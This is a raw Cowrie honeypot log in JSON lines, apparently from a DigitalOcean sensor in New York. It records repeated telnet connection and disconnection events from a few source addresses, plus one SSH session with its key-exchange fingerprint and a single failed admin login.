{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":33530,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b9a4d043531","protocol":"telnet","message":"New connection: 216.137.181.119:33530 (159.203.135.109:23) [session: 0b9a4d043531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:05.572372Z"}
{"eventid":"cowrie.session.closed","duration":30.9409818649292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:06.258903Z","src_ip":"137.220.54.231","session":"0b4d3533afa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":35196,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7436658e1bd","protocol":"telnet","message":"New connection: 216.137.181.119:35196 (159.203.135.109:23) [session: e7436658e1bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:07.437894Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":55720,"dst_ip":"159.203.135.109","dst_port":23,"session":"e060797156d3","protocol":"telnet","message":"New connection: 137.220.54.231:55720 (159.203.135.109:23) [session: e060797156d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:07.774799Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":55716,"dst_ip":"159.203.135.109","dst_port":23,"session":"89d69c336760","protocol":"telnet","message":"New connection: 137.220.54.231:55716 (159.203.135.109:23) [session: 89d69c336760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:08.079569Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":51768,"dst_ip":"159.203.135.109","dst_port":23,"session":"72ef3961cd0a","protocol":"telnet","message":"New connection: 137.220.54.231:51768 (159.203.135.109:23) [session: 72ef3961cd0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:11.262962Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":51778,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ab484d7b81a","protocol":"telnet","message":"New connection: 137.220.54.231:51778 (159.203.135.109:23) [session: 2ab484d7b81a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:11.504711Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":39116,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae4ade98387f","protocol":"telnet","message":"New connection: 216.137.181.119:39116 (159.203.135.109:23) [session: ae4ade98387f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:11.537925Z"}
{"eventid":"cowrie.session.closed","duration":30.81852436065674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:12.151724Z","src_ip":"137.220.54.231","session":"c66a78972b01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":51788,"dst_ip":"159.203.135.109","dst_port":23,"session":"8162525d5b1c","protocol":"telnet","message":"New connection: 137.220.54.231:51788 (159.203.135.109:23) [session: 8162525d5b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:13.177461Z"}
{"eventid":"cowrie.session.closed","duration":31.112374782562256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:14.177369Z","src_ip":"137.220.54.231","session":"793d0dd4e5f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":41480,"dst_ip":"159.203.135.109","dst_port":23,"session":"91d1f03f7ffc","protocol":"telnet","message":"New connection: 216.137.181.119:41480 (159.203.135.109:23) [session: 91d1f03f7ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:14.369414Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":51790,"dst_ip":"159.203.135.109","dst_port":23,"session":"9734d8d337de","protocol":"telnet","message":"New connection: 137.220.54.231:51790 (159.203.135.109:23) [session: 9734d8d337de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:15.092658Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":42744,"dst_ip":"159.203.135.109","dst_port":23,"session":"d878a66f3d50","protocol":"telnet","message":"New connection: 216.137.181.119:42744 (159.203.135.109:23) [session: d878a66f3d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:15.462542Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":51794,"dst_ip":"159.203.135.109","dst_port":23,"session":"12e0293339a5","protocol":"telnet","message":"New connection: 137.220.54.231:51794 (159.203.135.109:23) [session: 12e0293339a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:17.108319Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":51804,"dst_ip":"159.203.135.109","dst_port":23,"session":"efebc61ea636","protocol":"telnet","message":"New connection: 137.220.54.231:51804 (159.203.135.109:23) [session: efebc61ea636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:19.148574Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":46784,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ef42aac8229","protocol":"telnet","message":"New connection: 216.137.181.119:46784 (159.203.135.109:23) [session: 0ef42aac8229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:19.422041Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":51806,"dst_ip":"159.203.135.109","dst_port":23,"session":"382a41df9e20","protocol":"telnet","message":"New connection: 137.220.54.231:51806 (159.203.135.109:23) [session: 382a41df9e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:20.313408Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":51594,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed5d1928be86","protocol":"telnet","message":"New connection: 137.220.54.231:51594 (159.203.135.109:23) [session: ed5d1928be86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:22.225242Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":49816,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6f926ed8e65","protocol":"telnet","message":"New connection: 216.137.181.119:49816 (159.203.135.109:23) [session: b6f926ed8e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:22.566832Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52256,"dst_ip":"159.203.135.109","dst_port":22,"session":"78d07bbde660","protocol":"ssh","message":"New connection: 159.203.92.129:52256 (159.203.135.109:22) [session: 78d07bbde660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:22.996989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:23.001632Z","src_ip":"159.203.92.129","session":"78d07bbde660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:23.006329Z","src_ip":"159.203.92.129","session":"78d07bbde660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"88888","message":"login attempt [admin/88888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:23.017612Z","src_ip":"159.203.92.129","session":"78d07bbde660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":51604,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a6f3b126f76","protocol":"telnet","message":"New connection: 137.220.54.231:51604 (159.203.135.109:23) [session: 3a6f3b126f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:23.590401Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:24.027107Z","src_ip":"159.203.92.129","session":"78d07bbde660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":53420,"dst_ip":"159.203.135.109","dst_port":23,"session":"95de4fa51f7f","protocol":"telnet","message":"New connection: 216.137.181.119:53420 (159.203.135.109:23) [session: 95de4fa51f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:26.382952Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":53504,"dst_ip":"159.203.135.109","dst_port":23,"session":"f752723c5677","protocol":"telnet","message":"New connection: 216.137.181.119:53504 (159.203.135.109:23) [session: f752723c5677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:26.448942Z"}
{"eventid":"cowrie.session.closed","duration":30.797019958496094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:28.139194Z","src_ip":"216.137.181.119","session":"381203baf9bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.805458307266235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:28.142854Z","src_ip":"216.137.181.119","session":"e3e7b02b4731","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71743655204773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:28.263329Z","src_ip":"216.137.181.119","session":"cc65499db587","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.741499423980713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:28.338596Z","src_ip":"216.137.181.119","session":"d8a2eeb48649","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.963274478912354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:28.396857Z","src_ip":"216.137.181.119","session":"1ff1a9a600f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":55330,"dst_ip":"159.203.135.109","dst_port":23,"session":"db49af638d2e","protocol":"telnet","message":"New connection: 216.137.181.119:55330 (159.203.135.109:23) [session: db49af638d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:28.523887Z"}
{"eventid":"cowrie.session.closed","duration":30.62329888343811,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:29.193523Z","src_ip":"216.137.181.119","session":"e53b63d44068","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86004328727722,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:29.367120Z","src_ip":"216.137.181.119","session":"de6e421c9dcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":55954,"dst_ip":"159.203.135.109","dst_port":23,"session":"67cad1cc900c","protocol":"telnet","message":"New connection: 216.137.181.119:55954 (159.203.135.109:23) [session: 67cad1cc900c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:29.472564Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":56300,"dst_ip":"159.203.135.109","dst_port":23,"session":"f66c45b4d8ef","protocol":"telnet","message":"New connection: 216.137.181.119:56300 (159.203.135.109:23) [session: f66c45b4d8ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:29.988701Z"}
{"eventid":"cowrie.session.closed","duration":30.48627996444702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:30.140006Z","src_ip":"216.137.181.119","session":"119f2090e7cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74380850791931,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:30.318927Z","src_ip":"216.137.181.119","session":"9f0b2ca9393d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06216073036194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:30.435695Z","src_ip":"216.137.181.119","session":"cc5bbac59a76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.649308681488037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:30.904648Z","src_ip":"216.137.181.119","session":"ce6fa07d077e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.866705179214478,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:31.214043Z","src_ip":"216.137.181.119","session":"5391d9d79662","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.040975332260132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:31.346480Z","src_ip":"216.137.181.119","session":"f2fe557aba9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":55430,"dst_ip":"159.203.135.109","dst_port":23,"session":"44e071e418f8","protocol":"telnet","message":"New connection: 137.220.54.231:55430 (159.203.135.109:23) [session: 44e071e418f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:33.475797Z"}
{"eventid":"cowrie.session.closed","duration":31.178587913513184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:33.537337Z","src_ip":"216.137.181.119","session":"4cfc4b7282f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":58588,"dst_ip":"159.203.135.109","dst_port":23,"session":"49d38c740ecb","protocol":"telnet","message":"New connection: 216.137.181.119:58588 (159.203.135.109:23) [session: 49d38c740ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:33.614347Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":59038,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca1b1dbb8013","protocol":"telnet","message":"New connection: 216.137.181.119:59038 (159.203.135.109:23) [session: ca1b1dbb8013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:34.307983Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":59086,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb9e64333261","protocol":"telnet","message":"New connection: 216.137.181.119:59086 (159.203.135.109:23) [session: fb9e64333261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:34.382087Z"}
{"eventid":"cowrie.session.closed","duration":30.972402095794678,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:35.246331Z","src_ip":"137.220.54.231","session":"ab47cfd47a89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.930993795394897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:35.367557Z","src_ip":"216.137.181.119","session":"d7720f7af70d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95450210571289,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:35.374778Z","src_ip":"216.137.181.119","session":"efa4b0d0f2bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.854267120361328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:35.391048Z","src_ip":"216.137.181.119","session":"5e3142317d96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":32814,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ac56e2895bf","protocol":"telnet","message":"New connection: 216.137.181.119:32814 (159.203.135.109:23) [session: 7ac56e2895bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:35.948081Z"}
{"eventid":"cowrie.session.closed","duration":30.83087420463562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:36.263494Z","src_ip":"216.137.181.119","session":"5d36de24b723","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74597454071045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:36.318193Z","src_ip":"216.137.181.119","session":"0b9a4d043531","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":33348,"dst_ip":"159.203.135.109","dst_port":23,"session":"7698afcb193d","protocol":"telnet","message":"New connection: 216.137.181.119:33348 (159.203.135.109:23) [session: 7698afcb193d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:36.495126Z"}
{"eventid":"cowrie.session.closed","duration":120.00187301635742,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:37.355093Z","src_ip":"176.29.26.223","session":"d0fbb1ae8305","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":55432,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8ff18013cb8","protocol":"telnet","message":"New connection: 137.220.54.231:55432 (159.203.135.109:23) [session: d8ff18013cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:37.577582Z"}
{"eventid":"cowrie.session.closed","duration":30.574020624160767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:38.348688Z","src_ip":"137.220.54.231","session":"e060797156d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.946260452270508,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:38.384006Z","src_ip":"216.137.181.119","session":"e7436658e1bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02687668800354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:39.106313Z","src_ip":"137.220.54.231","session":"89d69c336760","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":55436,"dst_ip":"159.203.135.109","dst_port":23,"session":"65aff54e5ad0","protocol":"telnet","message":"New connection: 137.220.54.231:55436 (159.203.135.109:23) [session: 65aff54e5ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:39.157009Z"}
{"eventid":"cowrie.session.closed","duration":120.00126791000366,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:39.764301Z","src_ip":"176.29.26.223","session":"644f63f567d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00083565711975,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:39.874613Z","src_ip":"176.29.26.223","session":"8f4039a6f820","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75737714767456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:42.020236Z","src_ip":"137.220.54.231","session":"72ef3961cd0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":29840,"dst_ip":"159.203.135.109","dst_port":23,"session":"65a152eaaaba","protocol":"telnet","message":"New connection: 176.29.26.223:29840 (159.203.135.109:23) [session: 65a152eaaaba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:42.084040Z"}
{"eventid":"cowrie.session.closed","duration":30.587128162384033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:42.091695Z","src_ip":"137.220.54.231","session":"2ab484d7b81a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858033180236816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:42.395839Z","src_ip":"216.137.181.119","session":"ae4ade98387f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":58190,"dst_ip":"159.203.135.109","dst_port":23,"session":"b34aad2ee141","protocol":"telnet","message":"New connection: 137.220.54.231:58190 (159.203.135.109:23) [session: b34aad2ee141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:44.189890Z"}
{"eventid":"cowrie.session.closed","duration":31.34128499031067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:44.518654Z","src_ip":"137.220.54.231","session":"8162525d5b1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":30246,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b64a769b959","protocol":"telnet","message":"New connection: 176.29.26.223:30246 (159.203.135.109:23) [session: 1b64a769b959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:44.934274Z"}
{"eventid":"cowrie.session.closed","duration":30.90381669998169,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:45.273097Z","src_ip":"216.137.181.119","session":"91d1f03f7ffc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":58198,"dst_ip":"159.203.135.109","dst_port":23,"session":"676b9fd4ec8a","protocol":"telnet","message":"New connection: 137.220.54.231:58198 (159.203.135.109:23) [session: 676b9fd4ec8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:46.109014Z"}
{"eventid":"cowrie.session.closed","duration":30.84965705871582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:46.312082Z","src_ip":"216.137.181.119","session":"d878a66f3d50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.627465963363647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:44:46.719828Z","src_ip":"137.220.54.231","session":"9734d8d337de","protocol":"telnet"}
